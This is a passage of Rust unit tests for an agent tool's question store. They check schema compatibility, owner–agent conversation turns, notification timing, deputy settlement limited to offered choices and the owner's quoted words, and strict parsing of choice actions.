2677        let json = serde_json::to_value(&q).unwrap();
2678        assert_eq!(json["panel"], false);
2679        assert_eq!(json["assets"], serde_json::json!([]));
2680
2681        // And an empty panel is refused, because an empty frame reads to the
2682        // owner as "the agent had nothing to say".
2683        let e = s.put_panel(&mut q, "  \n", &[]).unwrap_err().to_string();
2684        assert!(e.contains("empty panel"), "{e}");
2685        assert!(!s.panel_dir(&q.id).exists());
2686    }
2687
2688    #[test]
2689    fn a_question_written_before_panels_existed_still_deserialises() {
2690        let (_dir, s) = store();
2691        std::fs::create_dir_all(s.root()).unwrap();
2692        let id = "20260902-231501-ab12";
2693        // Byte for byte what an older magi wrote: no `panel`, no `assets`.
2694        let body = r#"{
2695  "schema": 1,
2696  "id": "20260902-231501-ab12",
2697  "run": "20260902-201256-9fb7",
2698  "node": "implement",
2699  "seat": "impl-A",
2700  "summary": "Which storage backend should the cache use?",
2701  "detail": "Both are already dependencies.",
2702  "choices": ["SQLite", "Redis"],
2703  "status": "open",
2704  "asked_at": "2026-09-02T23:15:01Z",
2705  "answered_at": null,
2706  "answer": null
2707}"#;
2708        std::fs::write(s.path_of(id), body).unwrap();
2709
2710        let q = s.get(id).unwrap();
2711        assert!(
2712            !q.panel,
2713            "an absent field means no panel, not a parse error"
2714        );
2715        assert!(q.assets.is_empty());
2716        // Schema 1 predates `thread` entirely - not merely predates it having
2717        // any turns - and this build now speaks schema 3. Reading it must not
2718        // be an error: `q.schema > SCHEMA` is false for 1 > 3, so the file is
2719        // accepted and the missing field defaults to no conversation yet.
2720        assert_eq!(q.schema, 1);
2721        assert!(q.thread.is_empty());
2722        assert_eq!(
2723            q.answer_timeout, 0,
2724            "an absent field means unrecorded, not a zero-second deadline"
2725        );
2726        assert!(!q.waiting_on_agent());
2727        assert_eq!(q.summary, "Which storage backend should the cache use?");
2728        assert_eq!(
2729            s.list().len(),
2730            1,
2731            "and it is still listed; skipping it would hide an open question"
2732        );
2733    }
2734
2735    fn turn(who: Who, body: &str, at: Timestamp) -> Turn {
2736        Turn {
2737            who,
2738            body: body.to_owned(),
2739            at,
2740        }
2741    }
2742
2743    #[test]
2744    fn a_turn_round_trips_as_who_body_at_with_two_named_speakers() {
2745        // The phone reads this shape by hand, same as the question itself: a
2746        // rename here is a card that silently drops every message in it.
2747        let mut q = choice_question();
2748        q.thread
2749            .push(turn(Who::Operator, "why not Postgres?", Timestamp::now()));
2750        let value = serde_json::to_value(&q.thread[0]).unwrap();
2751        let mut keys: Vec<&str> = value
2752            .as_object()
2753            .unwrap()
2754            .keys()
2755            .map(String::as_str)
2756            .collect();
2757        keys.sort_unstable();
2758        assert_eq!(keys, ["at", "body", "who"]);
2759        assert_eq!(value["who"], "operator");
2760        assert_eq!(value["body"], "why not Postgres?");
2761
2762        let agent_turn = serde_json::json!({"who": "agent", "body": "hi", "at": value["at"]});
2763        let parsed: Turn = serde_json::from_value(agent_turn).unwrap();
2764        assert_eq!(parsed.who, Who::Agent);
2765    }
2766
2767    #[test]
2768    fn a_deputy_settles_only_on_an_offered_choice_and_the_owners_own_words() {
2769        let mut q = Question::new(
2770            "task".to_owned(),
2771            "conduct".to_owned(),
2772            "conduct".to_owned(),
2773            "Done?".to_owned(),
2774            String::new(),
2775            vec!["yes".to_owned(), "no".to_owned()],
2776        );
2777        let mut seat = crate::agent::SeatState::new("deputy-x", "alpha", 1);
2778        seat.turns = 1;
2779        let mut dep = Deputy::new("brief".to_owned());
2780        dep.seat = Some(seat);
2781        q.deputy = Some(dep);
2782        q.say("setup done, go ahead").unwrap();
2783
2784        assert!(
2785            q.settle_by_deputy("someone-else", "yes", "setup done")
2786                .is_err()
2787        );
2788        assert!(
2789            q.settle_by_deputy("deputy-x", "maybe", "setup done")
2790                .is_err()
2791        );
2792        assert!(
2793            q.settle_by_deputy("deputy-x", "yes", "never said this")
2794                .is_err()
2795        );
2796        assert!(q.settle_by_deputy("deputy-x", "yes", "  ").is_err());
2797        assert_eq!(q.status, QuestionStatus::Open);
2798
2799        q.settle_by_deputy("deputy-x", "yes", "setup done").unwrap();
2800        assert_eq!(q.status, QuestionStatus::Answered);
2801        assert_eq!(q.resolution().as_deref(), Some("yes"));
2802        let last = q.thread.last().unwrap();
2803        assert_eq!(last.who, Who::Agent);
2804        assert!(
2805            last.body.contains("setup done"),
2806            "the quote stays on the record"
2807        );
2808    }
2809
2810    #[test]
2811    fn a_question_written_before_deputies_still_reads() {
2812        let mut q = Question::new(
2813            "task".to_owned(),
2814            "conduct".to_owned(),
2815            "conduct".to_owned(),
2816            "Done?".to_owned(),
2817            String::new(),
2818            Vec::new(),
2819        );
2820        q.schema = 4;
2821        let mut v = serde_json::to_value(&q).unwrap();
2822        v.as_object_mut().unwrap().remove("deputy");
2823        let back: Question = serde_json::from_value(v).unwrap();
2824        assert!(back.deputy.is_none());
2825    }
2826
2827    #[test]
2828    fn saying_something_appends_an_operator_turn_without_deciding_anything() {
2829        let mut q = choice_question();
2830        q.say("does the cache need eviction?").unwrap();
2831        assert_eq!(q.thread.len(), 1);
2832        assert_eq!(q.thread[0].who, Who::Operator);
2833        assert_eq!(q.thread[0].body, "does the cache need eviction?");
2834        // Speaking is not deciding: the status and the answer are untouched,
2835        // which is the whole point of the round trip existing at all.
2836        assert_eq!(q.status, QuestionStatus::Open);
2837        assert!(q.answer.is_none());
2838        assert!(q.waiting_on_agent(), "the ball is now in the agent's court");
2839    }
2840
2841    #[test]
2842    fn saying_and_replying_are_refused_on_a_settled_question_and_on_empty_text() {
2843        let mut answered = choice_question();
2844        answered
2845            .answer(Answer::Choice("SQLite".to_owned()))
2846            .unwrap();
2847        let a = answered.say("still there?").unwrap_err().to_string();
2848        assert!(a.contains("already answered"), "{a}");
2849        let b = answered
2850            .reply("still there?", vec![])
2851            .unwrap_err()
2852            .to_string();
2853        assert!(b.contains("already answered"), "{b}");
2854
2855        let mut abandoned = choice_question();
2856        abandoned.abandon("timed out");
2857        let c = abandoned.say("hello?").unwrap_err().to_string();
2858        assert!(c.contains("abandoned"), "{c}");
2859
2860        let mut open = choice_question();
2861        let d = open.say("   ").unwrap_err().to_string();
2862        assert!(d.contains("empty"), "{d}");
2863        let e = open.reply("  \n", vec![]).unwrap_err().to_string();
2864        assert!(e.contains("empty"), "{e}");
2865        assert!(open.thread.is_empty(), "a refused turn leaves no trace");
2866    }
2867
2868    #[test]
2869    fn a_reply_replaces_the_choices_and_moves_the_ball_back_to_the_owner() {
2870        let mut q = choice_question();
2871        q.say("SQLite or Redis, but what about disk space?")
2872            .unwrap();
2873        assert!(q.waiting_on_agent());
2874
2875        q.reply(
2876            "SQLite: it is one file, no server to run.",
2877            vec!["SQLite".to_owned()],
2878        )
2879        .unwrap();
2880
2881        assert_eq!(q.choices, ["SQLite"]);
2882        assert!(
2883            !q.waiting_on_agent(),
2884            "the agent spoke, so the owner is the one being waited on now"
2885        );
2886        assert_eq!(q.thread.len(), 2);
2887        assert_eq!(q.thread[1].who, Who::Agent);
2888
2889        // The new choice set is what a subsequent answer is checked against.
2890        assert!(q.answer(Answer::Choice("Redis".to_owned())).is_err());
2891        q.answer(Answer::Choice("SQLite".to_owned())).unwrap();
2892        assert_eq!(q.resolution().as_deref(), Some("SQLite"));
2893    }
2894
2895    #[test]
2896    fn notification_fires_for_the_first_ask_and_only_after_the_quiet_window_on_a_reply() {
2897        let mut fresh = choice_question();
2898        assert!(
2899            fresh.should_notify(Timestamp::now()),
2900            "nobody has been notified yet, so the first ask always pages"
2901        );
2902
2903        fresh.say("why not Postgres?").unwrap();
2904        let just_said = fresh.thread[0].at;
2905        assert!(
2906            !fresh.should_notify(just_said + jiff::SignedDuration::from_secs(60)),
2907            "still on the screen a minute later; no need to page again"
2908        );
2909        assert!(
2910            !fresh.should_notify(just_said + jiff::SignedDuration::from_secs(300)),
2911            "exactly the window: `>` means this side stays quiet"
2912        );
2913        assert!(
2914            fresh.should_notify(just_said + jiff::SignedDuration::from_secs(301)),
2915            "past the window: they may have walked away"
2916        );
2917    }
2918
2919    #[test]
2920    fn a_round_trip_of_turns_still_counts_as_one_open_question() {
2921        let (_dir, s) = store();
2922        let mut q = choice_question();
2923        s.put(&mut q).unwrap();
2924        q.say("why not Postgres?").unwrap();
2925        s.put(&mut q).unwrap();
2926        q.reply("no server to run", vec!["SQLite".to_owned()])
2927            .unwrap();
2928        s.put(&mut q).unwrap();
2929
2930        assert_eq!(
2931            s.count_open(),
2932            1,
2933            "one question that talked twice is still one open question"
2934        );
2935        assert_eq!(s.open_for(&q.run).len(), 1);
2936    }
2937
2938    #[tokio::test]
2939    async fn the_wait_returns_to_the_caller_when_the_owner_talks_back_without_deciding() {
2940        let (dir, s) = store();
2941        let mut q = choice_question();
2942        let id = q.id.clone();
2943        let writer = Questions::at(dir.path().join("questions"));
2944        let handle = tokio::spawn(async move {
2945            tokio::time::sleep(Duration::from_millis(30)).await;
2946            let mut fresh = writer.get(&id).expect("the question was filed first");
2947            fresh.say("why not Postgres?").unwrap();
2948            writer.put(&mut fresh).unwrap();
2949        });
2950
2951        let got = wait_for_owner(
2952            &mut q,
2953            &s,
2954            &quiet(),
2955            Duration::from_secs(5),
2956            Duration::from_millis(10),
2957        )
2958        .await
2959        .unwrap();
2960
2961        handle.await.unwrap();
2962        assert_eq!(got, Wait::Replied("why not Postgres?".to_owned()));
2963        assert_eq!(
2964            q.status,
2965            QuestionStatus::Open,
2966            "talking back is not a decision; the question stays open"
2967        );
2968        assert!(q.answer.is_none());
2969    }
2970
2971    #[test]
2972    fn a_say_that_lands_before_the_agents_reply_stays_unread() {
2973        let mut q = choice_question();
2974        q.say("A").unwrap();
2975        q.delivered_turns = q.thread.len();
2976        q.say("B").unwrap();
2977        q.reply("about A", vec![]).unwrap();
2978        assert_eq!(q.unread_from_owner().as_deref(), Some("B"));
2979        q.delivered_turns = q.thread.len();
2980        assert_eq!(q.unread_from_owner(), None);
2981    }
2982
2983    #[test]
2984    fn a_say_before_the_answer_is_handed_over_ahead_of_it() {
2985        let (_d, s) = store();
2986        let mut q = choice_question();
2987        s.put(&mut q).unwrap();
2988        q.say("first").unwrap();
2989        q.say("second").unwrap();
2990        q.answer(Answer::Choice("SQLite".to_owned())).unwrap();
2991        s.put(&mut q).unwrap();
2992        assert_eq!(q.unread_from_owner(), None, "closed: the guard stays");
2993        let mut out = Vec::new();
2994        deliver_answer(&s, &mut q, "SQLite", &mut out).unwrap();
2995        let shown = String::from_utf8(out).unwrap();
2996        let (a, b, c) = (
2997            shown.find("first").unwrap(),
2998            shown.find("second").unwrap(),
2999            shown.find("SQLite").unwrap(),
3000        );
3001        assert!(a < b && b < c, "{shown}");
3002        assert_eq!(q.delivered_turns, q.thread.len());
3003        assert!(q.answer_delivered);
3004    }
3005
3006    #[test]
3007    fn an_answer_alone_is_unchanged_and_delivered_says_are_not_repeated() {
3008        let mut q = choice_question();
3009        q.answer(Answer::Choice("SQLite".to_owned())).unwrap();
3010        assert_eq!(answer_for_agent(&q, "SQLite"), "SQLite");
3011        let mut q = choice_question();
3012        q.say("old").unwrap();
3013        q.delivered_turns = q.thread.len();
3014        q.say("new").unwrap();
3015        q.answer(Answer::Choice("SQLite".to_owned())).unwrap();
3016        let shown = answer_for_agent(&q, "SQLite");
3017        assert!(shown.contains("new") && !shown.contains("old"), "{shown}");
3018    }
3019
3020    #[test]
3021    fn action_specs_parse_strictly_and_must_name_an_offered_choice() {
3022        let choices = vec!["resume で続行する".to_owned(), "wait".to_owned()];
3023        let ok = parse_actions(
3024            &[
3025                "resume で続行する=resume".to_owned(),
3026                "wait=done".to_owned(),
3027            ],
3028            &choices,
3029            "run-1",
3030        )
3031        .unwrap();
3032        assert_eq!(
3033            ok["resume で続行する"],
3034            ChoiceAction::Resume {
3035                run: "run-1".into()
3036            }
3037        );
3038        assert_eq!(ok["wait"], ChoiceAction::Done);
3039
3040        let named = ChoiceAction::parse("x=resume:abcd", "").unwrap();
3041        assert_eq!(named.1, ChoiceAction::Resume { run: "abcd".into() });
3042        assert_eq!(
3043            ChoiceAction::parse("x=requeue", "").unwrap().1,
3044            ChoiceAction::Requeue
3045        );
3046
3047        for bad in [
3048            "no-equals",
3049            "=done",
3050            "x=resume",
3051            "x=resume:",
3052            "x=explode",
3053            "x=done:1",
3054        ] {
3055            assert!(ChoiceAction::parse(bad, "").is_err(), "{bad}");
3056        }
3057        assert!(parse_actions(&["ghost=done".to_owned()], &choices, "").is_err());
3058        assert!(
3059            parse_actions(
3060                &["wait=done".to_owned(), "wait=requeue".to_owned()],
3061                &choices,
3062                ""
3063            )
3064            .is_err()
3065        );
3066    }
3067
3068    #[test]
3069    fn only_a_chosen_label_with_an_action_is_actionable() {
3070        let mut q = choice_question();
3071        q.choices = vec!["resume".to_owned(), "SQLite".to_owned()];
3072        q.actions.insert("SQLite".to_owned(), ChoiceAction::Requeue);
3073        assert!(q.chosen_action().is_none(), "unanswered");
3074        q.answer(Answer::Choice("resume".to_owned())).unwrap();
3075        assert!(
3076            q.chosen_action().is_none(),
3077            "a label that merely reads like an action does nothing"
3078        );
3079
3080        let mut q2 = choice_question();
3081        q2.choices = vec!["SQLite".to_owned()];
3082        q2.actions
3083            .insert("SQLite".to_owned(), ChoiceAction::Requeue);
3084        q2.answer(Answer::Choice("SQLite".to_owned())).unwrap();
3085        assert_eq!(q2.chosen_action(), Some(&ChoiceAction::Requeue));
3086    }
3087
3088    #[test]
3089    fn a_reply_drops_actions_whose_choice_is_gone_and_old_files_read_without_actions() {
3090        let mut q = choice_question();
3091        q.choices = vec!["A".to_owned(), "B".to_owned()];
3092        q.actions.insert("A".to_owned(), ChoiceAction::Done);
3093        q.actions.insert("B".to_owned(), ChoiceAction::Requeue);
3094        q.reply("narrowing", vec!["B".to_owned()]).unwrap();
3095        assert_eq!(q.actions.len(), 1);
3096        assert!(q.actions.contains_key("B"));
3097
3098        let mut v = serde_json::to_value(&q).unwrap();
3099        v.as_object_mut().unwrap().remove("actions");
3100        let old: Question = serde_json::from_value(v).unwrap();
3101        assert!(old.actions.is_empty());
3102    }
3103}